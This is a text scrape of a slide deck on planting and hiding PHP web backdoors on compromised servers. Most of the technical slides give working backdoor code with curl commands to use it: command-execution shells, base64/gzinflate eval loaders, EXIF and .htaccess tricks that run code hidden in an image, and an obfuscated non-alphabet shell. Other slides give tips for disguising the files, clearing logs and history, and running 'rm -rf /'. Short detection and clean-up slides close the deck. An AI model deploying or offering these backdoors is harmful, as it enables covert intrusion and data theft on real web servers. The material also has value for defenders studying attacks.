SlideShare a Scribd company logo
Art of Web Backdoor 
stealth ways to hide your ass in pwned box 
pichaya@ieee.org 
fb.com/index.htmli 
linkedin.com/in/pich4ya 
Pichaya Morimoto
Legal Warning 
พระราชบัญญัติ ว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์ พ.ศ. ๒๕๕๐ 
มาตรา 5 
ผู้ใดเข้าถึงโดยมิชอบซึ่งระบบคอมพิวเตอร์ที่มีมาตรการป้องกันการเข้าถึงโดยเฉ 
พาะและมาตรการนั้นมิได้มีไว้สำหรับตน 
โทษจำคุกไม่เกิน 6 เดือน หรือปรับไม่เกิน 10,000 บาท 
มาตรา 7 
ผู้ใดเข้าถึงโดยมิชอบซึ่งข้อมูลคอมพิวเตอร์ที่มีมาตรการป้องกันการเข้าถึงโดยเฉ 
พาะ และมาตรการนั้นมิได้มีไว้สำหรับตน 
โทษจำคุกไม่เกิน 2 ปี หรือปรับไม่เกิน 40,000 บาท 
มาตรา 9 
ผู้ใดทำให้เสียหาย ทำลาย แก้ไข เปลี่ยนแปลง หรือเพิ่มเติมไม่ว่าทั้งหมดหรือ 
บางส่วน ซึ่งข้อมูลคอมพิวเตอร์ของผู้อื่นโดยมิชอบ 
โทษจำคุกไม่เกิน 5 ปี หรือปรับไม่เกิน 100,000 บาท
Overview 
★ Anatomy of (PHP) Web Hacking 
★ Maintaining Access 
★ Techniques 
★ Covering Tracks 
★ Case Studies 
★ Detect / Clean up
How we put web backdoor? 
High Risk 
Medium Risk 
Low Risk 
OWASP Top Ten 2013 
A1-Injection 
A2-Broken Authentication and Session Management 
A3-Cross-Site Scripting (XSS) 
A4-Insecure Direct Object References 
A5-Security Misconfiguration 
A6-Sensitive Data Exposure 
A7-Missing Function Level Access Control 
A8-Cross-Site Request Forgery (CSRF) 
A9-Using Components with Known Vulnerabilities 
A10-Unvalidated Redirects and Forwards
Public CMS/Plugins PWN 
1. Vulnerability Assessment and Mapping 
★ Vulnerable version ? Vulnerability exists ? 
★ Conditions match ? / Known limitations 
2. Exploitation 
★ Public exploit available? 
2.1 Yes - Just use it 
★ Review & test 
2.2 No - Source code analysis 
★ Patch file (.diff) / $ diff -ENwbur vul-src/ patched-src/ 
★ Issue tracker (SVN/GIT repo.) 
★ Public / private vulnerability discussion 
3. Zero-Day - for l33t h4x0r! 
★ Source code analysis without patch, valuable!
Joomla! - Unauthorised Uploads 
Affected Versions: 2.5.x <= 2.5.13 and 3.x <= 3.1.4 
Fixed Date: 2013-July-31 (2.5.14, 3.1.5) 
Vulnerable files 
1. libraries/joomla/filesystem/file. 
php 
2. 
administrator/components/com_m 
edia/helpers/media.php 
Scenario 
1. Joomla! <= 2.5.13 
2. User with author privilege 
3. OS = Windows Machine 
or misconfigured Apache + Linux 
Bypassing File 
Upload Restrictions 
in Joomla!
Known Issues or Limitations
Backdoor is a Feature for Admin!
Also in IPB, SMF, vBulletin
Latest vBulletin 5.0.4 - PHP Module
Case Study - Official Ubuntu Forums 
http://www.ubuntuforums.org/ 
★ Hacked on 14 July 2013, Defaced on 20 July 2013 
★ 1.82 million users’ data leaked 
★ Attacker had full access on Forums app servers 
★ Servers running latest version of vBulletin 
What happened (posted in Canonical Blog) 
● A moderator account was hacked 
● Attacker post XSS to forum and sent to admin 
● 31 seconds .. admin account was PWNED
IPB - Bad Sanitization 
Invision Power Board <= 3.4.4 
Released on : 2013/05/13 by @johnjean 
Logical Vulnerability + Bad Sanitization 
1. Create new user using .. 
admin@email.com+[150 spaces]+A 
2. MySQL Limitation! 
string exceeding 150 characters are truncated 
and value will be trim to cause arbitrary user 
have same email as admin and change admin pass!
Other factors 
3rd party components 
★ uploadify, ckeditor, ckfinder, tinymce, openx 
Shared Hosting Security 
★ Exposed Session Data 
★ Improper user privileges 
(OS/Code execution, critical file manipulation) 
★ Vulnerable services (SSH, FTP etc.) 
MITM, Insider attack, lack of physical 
access control etc.
Maintaining Access 
Add arbitrary accounts (*nix shadow, AD etc.) 
Reverse Shell and/or Bind Shell using ... 
★ Binary/Script Backdoor 
1. Bind Port to *nix shell 
2. Send *nix shell back to attacker 
3. Make a relay tunnel 
4. Hidden trigger to spawn shell 
★ Web Backdoor - Use less privileged! 
Connect via HTTP Methods & Headers (GET/POST etc.)
Simple PHP Backdoor 
<?php 
if(isset($_REQUEST['cmd'])){ 
echo "<pre>"; 
$cmd = ($_REQUEST['cmd']); 
system($cmd); 
echo "</pre>"; 
die(); 
} 
?> 
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd 
$ curl -d “cat+/etc/passwd” http://target.com/simple-backdoor.php
Hide your ASS
Passing variables to 
PHP global vars: 
$_GET 
$_POST 
$_COOKIE 
$_REQUEST 
$_SERVER 
[‘HTTP_CMD’] 
Communication 
$ curl -A- -vvv 127.0.0.1/test1.php -H "Accept_Encoding: @system 
('uname -a;ps -aux');"
base64_decode() + gzinflate() 
1. Encode (Attacker Client) 
$ php -r "echo base64_encode(gzdeflate('system("id")'));" 
K64sLknN1VDKTFHSBAA= 
2. Send (Attacker Client) 
$ curl -A- -vvv 127.0.0.1/test3.php -d 
"cmd=K64sLknN1VDKTFHSBAA=" 
3. Decode (PHP Backdoor) 
@eval(gzinflate(base64_decode($_POST[“cmd”]))); 
4. Output 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code Evaluation besides eval() 
1. assert() 
assert('sys' . 'tem('.$_POST["cmd"].')'); 
$ curl -A- -vvv http://target/evil.php -d "cmd='ls -lha'" 
2. preg_replace() with -e modifier (deprecated in PHP 5.5.0) 
preg_replace('/(.*)/e', base64_decode($_POST["cmd"]), '' ); 
$ curl -A- -vvv http://target/evil.php -d "cmd=c3lzdGVtKCdpZCcp" 
3. And many more, e.g. OS command executions , check out this link! 
http://stackoverflow.com/questions/3115559/exploitable-php-functions
Stupid trick! but it’s work! 
★ GNU license in beginning of a PHP file! 
/* Copyright (C) 1991 Free Software Foundation, Inc. 
This file is part of the GNU C Library. 
… 
*/ <?php ... 
★ PGP Public Key !? 
/* -----BEGIN PGP PUBLIC KEY BLOCK----- 
Version: GnuPG v1.4.10 (GNU/Linux) 
... 
*/ <?php … 
★ Software license PROHIBIT to decode 
★ More creative filename! 
○ lndex.php 
○ 1ndex.php 
○ index2.php 
○ wp-manual.php 
○ cat.jpg.php 
○ license.txt 
○ README.md 
○ .bash_profile
PHP: exif_read_data() 
1. Create exif meta-data using exiftool 
$ exiftool 2600.jpg -Software=system 
$ exiftool 2600.jpg -Model=id 
2. Put 2600.jpg along with backdoor 
$A = exif_read_data('2600.jpg'); 
$A['Software']($A['Model']); 
3. Browse to backdoor and boom! 
uid=33(www-data) gid=33(www-data) 
groups=33(www-data)
.htaccess + any file format 
1. Apache Configuration 
AllowOverride All 
2. .htaccess 
<FilesMatch "2600.jpg"> 
SetHandler application/x-httpd-php 
</FilesMatch> 
3. 2600.jpg 
<?php @system($_POST["cmd"]); ?>
one statement PHP backdoor 
<?@$_POST[0]($_POST[1])?> 
$ curl -A- "http://target/backdoor.php" -d "0=system&1=uname+-a"
Binary Code in PHP Shell
Binary Code in PHP Shell
non-alphabet PHP shell 
<?$_="";$_[+""]='';$_="$_".""; 
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?> 
<?=${'_'.$_}['_'](${'_'.$_}['__']);?> 
$ curl "http://target/backdoor.php?_=shell_exec&__=uname+-a" 
*** This code contains non-printable characters, 
it might not work if you copy & paste! ***
Common survivor feature! 
work for various type of OS (win/linux/osx ) and ISO ?? 
find writable directory 
read/write file 
merge into every files 
merge into backup db / files / zip 
reverse/bind php shell 
database client 
File management (symlink?) 
av/ids/ips/waf detect 
credential dumper 
os command 
network scanner 
TCP/UDP/HTTP/DNS Amp flood 
SOCKS Proxy for pivoting 
HTTP proxy, IRC connect back 
etc.
Exploit Pack
Free Kiddies Backdoor! 
c99 
r57 
wso 
icfdkshell 
weevely 
ASPsh 
msfpayload 
use at your own risk! 
Caution! 
There are many cases that backdoor 
served inside another backdoor *w*)a 
e.g. http://packetstormsecurity.com/files/download/117974/wso2.5.1. 
zip 
$x10="x6dai154";$x0b=$_SERVER 
["x53x45RVE122_x4eAMx45"].$_SERVER 
["123103x52Ix50x54_116101115E"];$x0c=" 
141r162a171040".$x0b;$x0d=array("143x61","x6cx69"," 
146x77162151x74x65","100","vx65x2e");$x0e=$x0d[2].$x0d 
[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b); 
Decoded: 
mail(“fwrite@live.ca”,”target/backdoor.php”,”target/backdoor.php”);
Covering Tracks 
★ root? 
★ logs e.g. /var/log/* 
★ history e.g. ~/.bash_history 
★ self-destruction 
★ rm -rf /
Detect / Prevent 
★ Follow secure coding guideline 
★ Security hardening checklists 
★ Critical File Integrity Monitoring 
★ VA / Pentest by certified guys 
★ Patch Management & Patch Auditing 
★ Centralized Log & WAF? 
$ iptables -A OUTPUT -m string --algo bm 
--string 'FilesMan' -j DROP
MOD_Security ? 
var_dump(in_array('mod_security2', apache_get_modules ())); 
print_r(apache_get_modules());
Clean up 
1. Change/reset passwords 
2. Review log files 
3. Hunting vulnerable apps/backdoors 
4. Backup || Recovery 
$ grep - common danger functions 
$ find 
★ newly created files 
★ certain conditions (time/date/permission)
Practical Hacking? 
Capture The Flag 
https://ctftime.org/ 
Online challenges 
http://www.root-me.org/en/Challenges/ 
http://wargame2k10.nuitduhack.com/ 
http://captf.com/practice-ctf/ 
http://www.overthewire.org/wargames/natas/ 
http://www.modsecurity.org/demo/ 
VM Labs 
http://blog.g0tmi1k.com/2011/03/vulnerable-by-design.html 
https://pentesterlab.com/exercises/ 
http://vulnhub.com/ 
Thanks You !

More Related Content

PDF
Docker Plugin For DevSecOps
PDF
End to end web security
PDF
Внедрение безопасности в веб-приложениях в среде выполнения
PPT
На страже ваших денег и данных
PDF
Think Like a Hacker - Database Attack Vectors
PPTX
Secure Programming In Php
PDF
What should a hacker know about WebDav?
PDF
Hack any website
Docker Plugin For DevSecOps
End to end web security
Внедрение безопасности в веб-приложениях в среде выполнения
На страже ваших денег и данных
Think Like a Hacker - Database Attack Vectors
Secure Programming In Php
What should a hacker know about WebDav?
Hack any website

What's hot (20)

PDF
Secure Your Wordpress
PPTX
關於SQL Injection的那些奇技淫巧
PDF
Attacking Oracle with the Metasploit Framework
PPTX
Hack ASP.NET website
PDF
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
PPTX
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
DOCX
Web-servers & Application Hacking
PPTX
Flash it baby!
PDF
Defcon CTF quals
PPTX
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
PDF
Veil-PowerView - NovaHackers
PPTX
I Hunt Sys Admins
PDF
Big problems with big data – Hadoop interfaces security
PPTX
Security in PHP - 那些在滲透測試的小技巧
PDF
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
PDF
Waf.js: How to Protect Web Applications using JavaScript
PPTX
Indicators of compromise: From malware analysis to eradication
PPTX
A Forgotten HTTP Invisibility Cloak
PPT
Advanced Topics On Sql Injection Protection
PPTX
Angular js security
Secure Your Wordpress
關於SQL Injection的那些奇技淫巧
Attacking Oracle with the Metasploit Framework
Hack ASP.NET website
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
Web-servers & Application Hacking
Flash it baby!
Defcon CTF quals
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
Veil-PowerView - NovaHackers
I Hunt Sys Admins
Big problems with big data – Hadoop interfaces security
Security in PHP - 那些在滲透測試的小技巧
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
Waf.js: How to Protect Web Applications using JavaScript
Indicators of compromise: From malware analysis to eradication
A Forgotten HTTP Invisibility Cloak
Advanced Topics On Sql Injection Protection
Angular js security
Ad

Viewers also liked (10)

PDF
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
PDF
Exploiting WebApp Race Condition Vulnerability 101
PDF
From Web Vulnerability to Exploit in 15 minutes
PPT
Exploiting Php With Php
PDF
WebAPIではじめるphp入門
PDF
Exploiting Blind Vulnerabilities
PDF
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
PDF
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
PPTX
Deep-Dive: Secure API Management
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
Exploiting WebApp Race Condition Vulnerability 101
From Web Vulnerability to Exploit in 15 minutes
Exploiting Php With Php
WebAPIではじめるphp入門
Exploiting Blind Vulnerabilities
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Deep-Dive: Secure API Management
Ad

Similar to Art of Web Backdoor - Pichaya Morimoto (20)

PDF
Php vulnerability presentation
PDF
PHP Backdoor: The rise of the vuln
ODP
How secure is your code?
PDF
Attack Chaining: Advanced Maneuvers for Hack Fu
PDF
Web backdoors attacks, evasion, detection
PDF
PHP Secure Programming
PDF
Pentesting an unfriendly environment: bypassing (un)common defences and mate ...
PPTX
Secure programming with php
PDF
Php web backdoor obfuscation
PDF
Anatomy of PHP Shells
PDF
Stealth post-exploitation with phpsploit
PDF
17726 bypassing-phpids-0.6.5
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PDF
47300 php-web-backdoor-decode
PDF
Hacking sites for fun and profit
PPTX
Fun with exploits old and new
PDF
Secure PHP Coding
PDF
Operation outbreak
PDF
Code obfuscation, php shells & more
PDF
Code obfuscation, php shells & more
Php vulnerability presentation
PHP Backdoor: The rise of the vuln
How secure is your code?
Attack Chaining: Advanced Maneuvers for Hack Fu
Web backdoors attacks, evasion, detection
PHP Secure Programming
Pentesting an unfriendly environment: bypassing (un)common defences and mate ...
Secure programming with php
Php web backdoor obfuscation
Anatomy of PHP Shells
Stealth post-exploitation with phpsploit
17726 bypassing-phpids-0.6.5
How to discover 1352 Wordpress plugin 0days in one hour (not really)
47300 php-web-backdoor-decode
Hacking sites for fun and profit
Fun with exploits old and new
Secure PHP Coding
Operation outbreak
Code obfuscation, php shells & more
Code obfuscation, php shells & more

More from Pichaya Morimoto (7)

PDF
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
PDF
Securing and Hacking LINE OA Integration
PDF
Mysterious Crypto in Android Biometrics
PDF
Web Hacking with Object Deserialization
PDF
Burp Extender API for Penetration Testing
PDF
Bug Bounty แบบแมว ๆ
PDF
Pentest 101 @ Mahanakorn Network Research Laboratory
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
Securing and Hacking LINE OA Integration
Mysterious Crypto in Android Biometrics
Web Hacking with Object Deserialization
Burp Extender API for Penetration Testing
Bug Bounty แบบแมว ๆ
Pentest 101 @ Mahanakorn Network Research Laboratory

Recently uploaded (20)

PPTX
L1 - Introduction to python Backend.pptx
PDF
medical staffing services at VALiNTRY
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PPTX
Introduction to Artificial Intelligence
PDF
Nekopoi APK 2025 free lastest update
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PPTX
Transform Your Business with a Software ERP System
PDF
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PDF
Understanding Forklifts - TECH EHS Solution
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PPTX
Essential Infomation Tech presentation.pptx
PDF
How Creative Agencies Leverage Project Management Software.pdf
PPTX
history of c programming in notes for students .pptx
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PPTX
Operating system designcfffgfgggggggvggggggggg
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
Digital Strategies for Manufacturing Companies
L1 - Introduction to python Backend.pptx
medical staffing services at VALiNTRY
Design an Analysis of Algorithms I-SECS-1021-03
Introduction to Artificial Intelligence
Nekopoi APK 2025 free lastest update
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
Transform Your Business with a Software ERP System
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
Odoo Companies in India – Driving Business Transformation.pdf
Understanding Forklifts - TECH EHS Solution
Which alternative to Crystal Reports is best for small or large businesses.pdf
2025 Textile ERP Trends: SAP, Odoo & Oracle
Essential Infomation Tech presentation.pptx
How Creative Agencies Leverage Project Management Software.pdf
history of c programming in notes for students .pptx
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
Operating system designcfffgfgggggggvggggggggg
Design an Analysis of Algorithms II-SECS-1021-03
Navsoft: AI-Powered Business Solutions & Custom Software Development
Digital Strategies for Manufacturing Companies

Art of Web Backdoor - Pichaya Morimoto

  • 1. Art of Web Backdoor stealth ways to hide your ass in pwned box pichaya@ieee.org fb.com/index.htmli linkedin.com/in/pich4ya Pichaya Morimoto
  • 2. Legal Warning พระราชบัญญัติ ว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์ พ.ศ. ๒๕๕๐ มาตรา 5 ผู้ใดเข้าถึงโดยมิชอบซึ่งระบบคอมพิวเตอร์ที่มีมาตรการป้องกันการเข้าถึงโดยเฉ พาะและมาตรการนั้นมิได้มีไว้สำหรับตน โทษจำคุกไม่เกิน 6 เดือน หรือปรับไม่เกิน 10,000 บาท มาตรา 7 ผู้ใดเข้าถึงโดยมิชอบซึ่งข้อมูลคอมพิวเตอร์ที่มีมาตรการป้องกันการเข้าถึงโดยเฉ พาะ และมาตรการนั้นมิได้มีไว้สำหรับตน โทษจำคุกไม่เกิน 2 ปี หรือปรับไม่เกิน 40,000 บาท มาตรา 9 ผู้ใดทำให้เสียหาย ทำลาย แก้ไข เปลี่ยนแปลง หรือเพิ่มเติมไม่ว่าทั้งหมดหรือ บางส่วน ซึ่งข้อมูลคอมพิวเตอร์ของผู้อื่นโดยมิชอบ โทษจำคุกไม่เกิน 5 ปี หรือปรับไม่เกิน 100,000 บาท
  • 3. Overview ★ Anatomy of (PHP) Web Hacking ★ Maintaining Access ★ Techniques ★ Covering Tracks ★ Case Studies ★ Detect / Clean up
  • 4. How we put web backdoor? High Risk Medium Risk Low Risk OWASP Top Ten 2013 A1-Injection A2-Broken Authentication and Session Management A3-Cross-Site Scripting (XSS) A4-Insecure Direct Object References A5-Security Misconfiguration A6-Sensitive Data Exposure A7-Missing Function Level Access Control A8-Cross-Site Request Forgery (CSRF) A9-Using Components with Known Vulnerabilities A10-Unvalidated Redirects and Forwards
  • 5. Public CMS/Plugins PWN 1. Vulnerability Assessment and Mapping ★ Vulnerable version ? Vulnerability exists ? ★ Conditions match ? / Known limitations 2. Exploitation ★ Public exploit available? 2.1 Yes - Just use it ★ Review & test 2.2 No - Source code analysis ★ Patch file (.diff) / $ diff -ENwbur vul-src/ patched-src/ ★ Issue tracker (SVN/GIT repo.) ★ Public / private vulnerability discussion 3. Zero-Day - for l33t h4x0r! ★ Source code analysis without patch, valuable!
  • 6. Joomla! - Unauthorised Uploads Affected Versions: 2.5.x <= 2.5.13 and 3.x <= 3.1.4 Fixed Date: 2013-July-31 (2.5.14, 3.1.5) Vulnerable files 1. libraries/joomla/filesystem/file. php 2. administrator/components/com_m edia/helpers/media.php Scenario 1. Joomla! <= 2.5.13 2. User with author privilege 3. OS = Windows Machine or misconfigured Apache + Linux Bypassing File Upload Restrictions in Joomla!
  • 7. Known Issues or Limitations
  • 8. Backdoor is a Feature for Admin!
  • 9. Also in IPB, SMF, vBulletin
  • 10. Latest vBulletin 5.0.4 - PHP Module
  • 11. Case Study - Official Ubuntu Forums http://www.ubuntuforums.org/ ★ Hacked on 14 July 2013, Defaced on 20 July 2013 ★ 1.82 million users’ data leaked ★ Attacker had full access on Forums app servers ★ Servers running latest version of vBulletin What happened (posted in Canonical Blog) ● A moderator account was hacked ● Attacker post XSS to forum and sent to admin ● 31 seconds .. admin account was PWNED
  • 12. IPB - Bad Sanitization Invision Power Board <= 3.4.4 Released on : 2013/05/13 by @johnjean Logical Vulnerability + Bad Sanitization 1. Create new user using .. admin@email.com+[150 spaces]+A 2. MySQL Limitation! string exceeding 150 characters are truncated and value will be trim to cause arbitrary user have same email as admin and change admin pass!
  • 13. Other factors 3rd party components ★ uploadify, ckeditor, ckfinder, tinymce, openx Shared Hosting Security ★ Exposed Session Data ★ Improper user privileges (OS/Code execution, critical file manipulation) ★ Vulnerable services (SSH, FTP etc.) MITM, Insider attack, lack of physical access control etc.
  • 14. Maintaining Access Add arbitrary accounts (*nix shadow, AD etc.) Reverse Shell and/or Bind Shell using ... ★ Binary/Script Backdoor 1. Bind Port to *nix shell 2. Send *nix shell back to attacker 3. Make a relay tunnel 4. Hidden trigger to spawn shell ★ Web Backdoor - Use less privileged! Connect via HTTP Methods & Headers (GET/POST etc.)
  • 15. Simple PHP Backdoor <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } ?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd $ curl -d “cat+/etc/passwd” http://target.com/simple-backdoor.php
  • 17. Passing variables to PHP global vars: $_GET $_POST $_COOKIE $_REQUEST $_SERVER [‘HTTP_CMD’] Communication $ curl -A- -vvv 127.0.0.1/test1.php -H "Accept_Encoding: @system ('uname -a;ps -aux');"
  • 18. base64_decode() + gzinflate() 1. Encode (Attacker Client) $ php -r "echo base64_encode(gzdeflate('system("id")'));" K64sLknN1VDKTFHSBAA= 2. Send (Attacker Client) $ curl -A- -vvv 127.0.0.1/test3.php -d "cmd=K64sLknN1VDKTFHSBAA=" 3. Decode (PHP Backdoor) @eval(gzinflate(base64_decode($_POST[“cmd”]))); 4. Output uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • 19. Code Evaluation besides eval() 1. assert() assert('sys' . 'tem('.$_POST["cmd"].')'); $ curl -A- -vvv http://target/evil.php -d "cmd='ls -lha'" 2. preg_replace() with -e modifier (deprecated in PHP 5.5.0) preg_replace('/(.*)/e', base64_decode($_POST["cmd"]), '' ); $ curl -A- -vvv http://target/evil.php -d "cmd=c3lzdGVtKCdpZCcp" 3. And many more, e.g. OS command executions , check out this link! http://stackoverflow.com/questions/3115559/exploitable-php-functions
  • 20. Stupid trick! but it’s work! ★ GNU license in beginning of a PHP file! /* Copyright (C) 1991 Free Software Foundation, Inc. This file is part of the GNU C Library. … */ <?php ... ★ PGP Public Key !? /* -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.10 (GNU/Linux) ... */ <?php … ★ Software license PROHIBIT to decode ★ More creative filename! ○ lndex.php ○ 1ndex.php ○ index2.php ○ wp-manual.php ○ cat.jpg.php ○ license.txt ○ README.md ○ .bash_profile
  • 21. PHP: exif_read_data() 1. Create exif meta-data using exiftool $ exiftool 2600.jpg -Software=system $ exiftool 2600.jpg -Model=id 2. Put 2600.jpg along with backdoor $A = exif_read_data('2600.jpg'); $A['Software']($A['Model']); 3. Browse to backdoor and boom! uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • 22. .htaccess + any file format 1. Apache Configuration AllowOverride All 2. .htaccess <FilesMatch "2600.jpg"> SetHandler application/x-httpd-php </FilesMatch> 3. 2600.jpg <?php @system($_POST["cmd"]); ?>
  • 23. one statement PHP backdoor <?@$_POST[0]($_POST[1])?> $ curl -A- "http://target/backdoor.php" -d "0=system&1=uname+-a"
  • 24. Binary Code in PHP Shell
  • 25. Binary Code in PHP Shell
  • 26. non-alphabet PHP shell <?$_="";$_[+""]='';$_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?> <?=${'_'.$_}['_'](${'_'.$_}['__']);?> $ curl "http://target/backdoor.php?_=shell_exec&__=uname+-a" *** This code contains non-printable characters, it might not work if you copy & paste! ***
  • 27. Common survivor feature! work for various type of OS (win/linux/osx ) and ISO ?? find writable directory read/write file merge into every files merge into backup db / files / zip reverse/bind php shell database client File management (symlink?) av/ids/ips/waf detect credential dumper os command network scanner TCP/UDP/HTTP/DNS Amp flood SOCKS Proxy for pivoting HTTP proxy, IRC connect back etc.
  • 29. Free Kiddies Backdoor! c99 r57 wso icfdkshell weevely ASPsh msfpayload use at your own risk! Caution! There are many cases that backdoor served inside another backdoor *w*)a e.g. http://packetstormsecurity.com/files/download/117974/wso2.5.1. zip $x10="x6dai154";$x0b=$_SERVER ["x53x45RVE122_x4eAMx45"].$_SERVER ["123103x52Ix50x54_116101115E"];$x0c=" 141r162a171040".$x0b;$x0d=array("143x61","x6cx69"," 146x77162151x74x65","100","vx65x2e");$x0e=$x0d[2].$x0d [3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b); Decoded: mail(“fwrite@live.ca”,”target/backdoor.php”,”target/backdoor.php”);
  • 30. Covering Tracks ★ root? ★ logs e.g. /var/log/* ★ history e.g. ~/.bash_history ★ self-destruction ★ rm -rf /
  • 31. Detect / Prevent ★ Follow secure coding guideline ★ Security hardening checklists ★ Critical File Integrity Monitoring ★ VA / Pentest by certified guys ★ Patch Management & Patch Auditing ★ Centralized Log & WAF? $ iptables -A OUTPUT -m string --algo bm --string 'FilesMan' -j DROP
  • 32. MOD_Security ? var_dump(in_array('mod_security2', apache_get_modules ())); print_r(apache_get_modules());
  • 33. Clean up 1. Change/reset passwords 2. Review log files 3. Hunting vulnerable apps/backdoors 4. Backup || Recovery $ grep - common danger functions $ find ★ newly created files ★ certain conditions (time/date/permission)
  • 34. Practical Hacking? Capture The Flag https://ctftime.org/ Online challenges http://www.root-me.org/en/Challenges/ http://wargame2k10.nuitduhack.com/ http://captf.com/practice-ctf/ http://www.overthewire.org/wargames/natas/ http://www.modsecurity.org/demo/ VM Labs http://blog.g0tmi1k.com/2011/03/vulnerable-by-design.html https://pentesterlab.com/exercises/ http://vulnhub.com/ Thanks You !